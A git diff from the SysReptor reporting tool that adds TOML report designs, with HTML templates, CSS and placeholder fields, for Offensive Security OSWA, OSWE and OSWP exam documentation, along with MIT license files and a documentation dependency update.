should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: var(--color-cover-page-bg); +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSWA Exam Documentation" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "Lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "Firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO This section is placed for any additional items that were not mentioned in the overall report." +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Target" +origin = "core" +default = "TODO Target Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS (not required)" +origin = "core" +default = "n/a" +required = false + +[finding_fields.poc] +type = "markdown" +label = "PoC Code" +origin = "custom" +default = "TODO Provide the final proof of concept code used to gain access to the server." +required = true + +[finding_fields.proof] +type = "markdown" +label = "Proof.txt" +origin = "custom" +default = "TODO Provide the contents of local.txt and proof.txt" +required = true + +[finding_fields.steps] +type = "markdown" +label = "Steps" +origin = "custom" +default = "TODO Provide a detailed account of your methodology in creating the exploits. The steps taken should be able to be easily followed and reproducible if necessary." +required = true + +[finding_fields.screenshots] +type = "markdown" +label = "Screenshots" +origin = "custom" +default = "TODO Provide screenshots of local.txt and proof.txt contents as stated in the Exam Control Panel Objectives." +required = true + +[finding_fields.vulnerabilities] +type = "list" +label = "Vulnerabilities" +origin = "custom" +required = true + +[finding_fields.vulnerabilities.items] +type = "object" +label = "" +origin = "custom" + +[finding_fields.vulnerabilities.items.properties] +[finding_fields.vulnerabilities.items.properties.details] +type = "markdown" +label = "Details" +origin = "custom" +default = "TODO Provide the method and steps used to find the vulnerability." +required = true + +[finding_fields.vulnerabilities.items.properties.reference] +type = "string" +label = "Reference" +origin = "custom" +default = "Vulnerability X" +required = true +spellcheck = false + +[report_preview_data] +[report_preview_data.report] +title = "OSWA Exam Documentation" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +report_date = "2022-07-29" +report_version = "1.0" +firstname = "John" +lastname = "Doe" + +[[report_preview_data.report.appendix_sections]] +title = "Appendix Title" +content = "TODO This section is placed for any additional items that were not mentioned in the overall report." + +[[report_preview_data.findings]] +title = "192.168.X.X" +cvss = "" +id = "25a70e70-515e-4664-b7ab-dffc2f2fe12e" +proof = "TODO Provide the contents of local.txt and proof.txt" +poc = "TODO Provide the method and steps used to find the vulnerability." +screenshots = "TODO Provide screenshots of local.txt and proof.txt contents as stated in the Exam Control Panel Objectives." +steps = "TODO Provide a detailed account of your methodology in creating the exploits. The steps taken should be able to be easily followed and reproducible if necessary." + +[[report_preview_data.findings.vulnerabilities]] +reference = "Vulnerability X" +details = "TODO Provide the method and steps used to find the vulnerability." + +[[report_preview_data.findings.vulnerabilities]] +reference = "Vulnerability X" +details = "TODO Provide the method and steps used to find the vulnerability." + +[[report_preview_data.findings.vulnerabilities]] +reference = "Vulnerability X" +details = "TODO Provide the method and steps used to find the vulnerability." + +[[assets]] +id = "61da17b8-8645-4a6b-b23c-fa907945a607" +name = "LICENSE" diff --git a/demo_data/offsec-designs/oswe-assets/LICENSE b/demo_data/offsec-designs/oswe-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/offsec-designs/oswe-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/offsec-designs/oswe.toml b/demo_data/offsec-designs/oswe.toml new file mode 100644 index 0000000..c0ca2b4 --- /dev/null +++ b/demo_data/offsec-designs/oswe.toml @@ -0,0 +1,563 @@ +format = "projecttypes/v1" +id = "80ac1530-f930-41e4-ae3a-ba280fb31505" +name = "OSWE Exam Report v1.1" +language = "en-US" +finding_field_order = [ + "title", + "proof", + "vulnerabilities", + "poc", + "screenshots", + "steps", + "cvss", +] +report_template = """ + + +
{{ report.osid }}
+ + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + + # Offensive Security OSWE Exam Documentation {.in-toc.numbered} + The Offensive Security OSWE exam documentation contains all efforts that were conducted in order to pass the Offensive Security Web Expert exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has the technical knowledge required to pass the qualifications for the Offensive Security Web Expert certification. + + The student will be required to fill out this exam documentation fully and to include the following sections: + * Methodology walkthrough and detailed outline of steps taken + * Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable. + * Each finding with included screenshots, walkthrough, sample code, and proof.txt if ap-plicable. + * Any additional items that were not included + + + +
+

Findings

+
+

{{ finding.title }}

+
+

Local.txt/Proof.txt

+ +
+
+

{{ vulnerability.reference}}

+ +
+ +
+

PoC Code

+ +
+ +
+

Screenshots

+ +
+ +
+

Steps

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-cover-page-bg: #8fce00; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: var(--color-cover-page-bg); +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSWE Exam Documentation" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "Lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "Firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO This section is placed for any additional items that were not mentioned in the overall report." +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Target" +origin = "core" +default = "TODO Target Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS (not required)" +origin = "core" +default = "n/a" +required = false + +[finding_fields.poc] +type = "markdown" +label = "PoC Code" +origin = "custom" +default = "TODO Provide the final proof of concept code used to gain access to the server." +required = true + +[finding_fields.proof] +type = "markdown" +label = "Proof.txt" +origin = "custom" +default = "TODO Provide the contents of local.txt and proof.txt" +required = true + +[finding_fields.steps] +type = "markdown" +label = "Steps" +origin = "custom" +default = "TODO Provide a detailed account of your methodology in creating the exploits. The steps taken should be able to be easily followed and reproducible if necessary." +required = true + +[finding_fields.screenshots] +type = "markdown" +label = "Screenshots" +origin = "custom" +default = "TODO Provide screenshots of local.txt and proof.txt contents as stated in the Exam Control Panel Objectives." +required = true + +[finding_fields.vulnerabilities] +type = "list" +label = "Vulnerabilities" +origin = "custom" +required = true + +[finding_fields.vulnerabilities.items] +type = "object" +label = "" +origin = "custom" + +[finding_fields.vulnerabilities.items.properties] +[finding_fields.vulnerabilities.items.properties.details] +type = "markdown" +label = "Details" +origin = "custom" +default = "TODO Provide the method and code used to find the vulnerability ." +required = true + +[finding_fields.vulnerabilities.items.properties.reference] +type = "string" +label = "Reference" +origin = "custom" +default = "Vulnerability X" +required = true +spellcheck = false + +[report_preview_data] +[report_preview_data.report] +title = "OSWE Exam Documentation" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +report_date = "2022-07-29" +report_version = "1.0" +firstname = "John" +lastname = "Doe" + +[[report_preview_data.report.appendix_sections]] +title = "Appendix Title" +content = "TODO This section is placed for any additional items that were not mentioned in the overall report." + +[[report_preview_data.findings]] +title = "192.168.X.X" +cvss = "" +id = "25a70e70-515e-4664-b7ab-dffc2f2fe12e" +proof = "TODO Provide the contents of local.txt and proof.txt" +poc = "TODO Provide the final proof of concept code used to gain access to the server." +screenshots = "TODO Provide screenshots of local.txt and proof.txt contents as stated in the Exam Control Panel Objectives." +steps = "TODO Provide a detailed account of your methodology in creating the exploits. The steps taken should be able to be easily followed and reproducible if necessary." + +[[report_preview_data.findings.vulnerabilities]] +details = "TODO Provide the method and code used to find the vulnerability ." +reference = "Vulnerability X" + +[[report_preview_data.findings.vulnerabilities]] +details = "TODO Provide the method and code used to find the vulnerability ." +reference = "Vulnerability X" + +[[report_preview_data.findings.vulnerabilities]] +details = "TODO Provide the method and code used to find the vulnerability ." +reference = "Vulnerability X" + +[[assets]] +id = "b7985a2b-aab2-41a1-a3f7-f035272a4c58" +name = "LICENSE" diff --git a/demo_data/offsec-designs/oswp-assets/LICENSE b/demo_data/offsec-designs/oswp-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/offsec-designs/oswp-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/offsec-designs/oswp.toml b/demo_data/offsec-designs/oswp.toml new file mode 100644 index 0000000..5e12e91 --- /dev/null +++ b/demo_data/offsec-designs/oswp.toml @@ -0,0 +1,514 @@ +format = "projecttypes/v1" +id = "c465ed9d-546f-44ba-b519-eb3c036fda01" +name = "OSWP Exam Report v1.1" +language = "en-US" +finding_field_order = [ + "title", + "description", + "proof", + "screenshots", + "steps", + "cvss", +] +report_template = """ + + +
{{ report.osid }}
+ + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + # Offensive Security OSWP Exam Documentation {.in-toc.numbered} + The Offensive Security OSWP exam documentation contains all efforts that were conducted in order to pass the Offensive Security Wireless Professional exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has the technical knowledge required to pass the qualifications for the Offensive Security Wireless Professional certification. + + ## Requirements {.in-toc.numbered} + The student will be required to fill out this penetration testing report fully and to include the following sections: + * Methodology walkthrough and detailed outline of steps taken + * Each finding with included screenshots, walkthrough and sample commands + * Any additional items that were not included + + + +
+

Findings

+
+ +

{{ finding.title }}

+
+

Proof

+ +
+ +
+

Screenshots

+ +
+ +
+

Steps

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-cover-page-bg: #c37cc3; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: var(--color-cover-page-bg); +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSWP Exam Documentation" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "Lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "Firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Additional Items Not Mentioned in the Report" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO This section is placed for any additional items that were not mentioned in the overall report." +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Target" +origin = "core" +default = "TODO Target Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS (not required)" +origin = "core" +default = "n/a" +required = false + +[finding_fields.description] +type = "markdown" +label = "Technical Description" +origin = "predefined" +default = "TODO A brief description of the attack chain with machine names, including the depth of compromise should be included here." +required = true + +[finding_fields.proof] +type = "markdown" +label = "Proof" +origin = "custom" +default = "TODO Provide the contents of the \"Access Point X\" wireless network key." +required = true + +[finding_fields.steps] +type = "markdown" +label = "Steps" +origin = "custom" +default = "TODO Provide a detailed account of your methodology in obtaining the \"Access Point X\" wireless network key. **The steps taken should be able to be easily followed and reproducible if necessary.**" +required = true + +[finding_fields.screenshots] +type = "markdown" +label = "Screenshots" +origin = "custom" +default = "TODO Provide at least one screenshot of the successfully cracked \"Access Point X\" wireless network key and a screenshot of proof.txt." +required = true + +[report_preview_data] +[report_preview_data.report] +title = "OSWP Exam Documentation" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +report_date = "2022-07-29" +report_version = "1.0" +firstname = "John" +lastname = "Doe" + +[[report_preview_data.report.appendix_sections]] +title = "Appendix Title" +content = "Appendix content" + +[[report_preview_data.findings]] +title = "Access Point X" +cvss = "n/a" +description = "TODO: A brief description of the attack chain with machine names, including the depth of compromise should be included here." +id = "30fa6ea9-64f0-4b95-a7ff-dcc2e1983d3f" +proof = "TODO Provide the contents of the \"Access Point X\" wireless network key." +steps = "TODO Provide a detailed account of your methodology in obtaining the \"Access Point X\" wireless network key. **The steps taken should be able to be easily followed and reproducible if necessary.**" +screenshots = "TODO Provide at least one screenshot of the successfully cracked \"Access Point X\" wireless network key and a screenshot of proof.txt." + +[[assets]] +id = "1b6169aa-b720-4de0-b6ec-3dee7b52ec18" +name = "LICENSE" diff --git a/docs/docs/assets/demo-designs.tar.gz b/docs/docs/assets/demo-designs.tar.gz deleted file mode 100644 index 8fd2aaa..0000000 Binary files a/docs/docs/assets/demo-designs.tar.gz and /dev/null differ diff --git a/docs/docs/assets/demo-projects.tar.gz b/docs/docs/assets/demo-projects.tar.gz deleted file mode 100644 index ad32165..0000000 Binary files a/docs/docs/assets/demo-projects.tar.gz and /dev/null differ diff --git a/docs/docs/assets/demo-templates.tar.gz b/docs/docs/assets/demo-templates.tar.gz deleted file mode 100644 index 9fec98d..0000000 Binary files a/docs/docs/assets/demo-templates.tar.gz and /dev/null differ diff --git a/docs/docs/assets/htb-designs.tar.gz b/docs/docs/assets/htb-designs.tar.gz deleted file mode 100644 index 9c60869..0000000 Binary files a/docs/docs/assets/htb-designs.tar.gz and /dev/null differ diff --git a/docs/docs/assets/offsec-designs.tar.gz b/docs/docs/assets/offsec-designs.tar.gz deleted file mode 100644 index 4296fc4..0000000 Binary files a/docs/docs/assets/offsec-designs.tar.gz and /dev/null differ diff --git a/docs/requirements.txt b/docs/requirements.txt index 64cd3c0..2fbdab2 100755 --- a/docs/requirements.txt +++ b/docs/requirements.txt @@ -7,4 +7,5 @@ mkdocs-redirects==1.2.1 pymdown-extensions==10.1 requests==2.31.0 pillow==10.1.0 -cairosvg==2.7.1 \ No newline at end of file +cairosvg==2.7.1 +reptor==0.8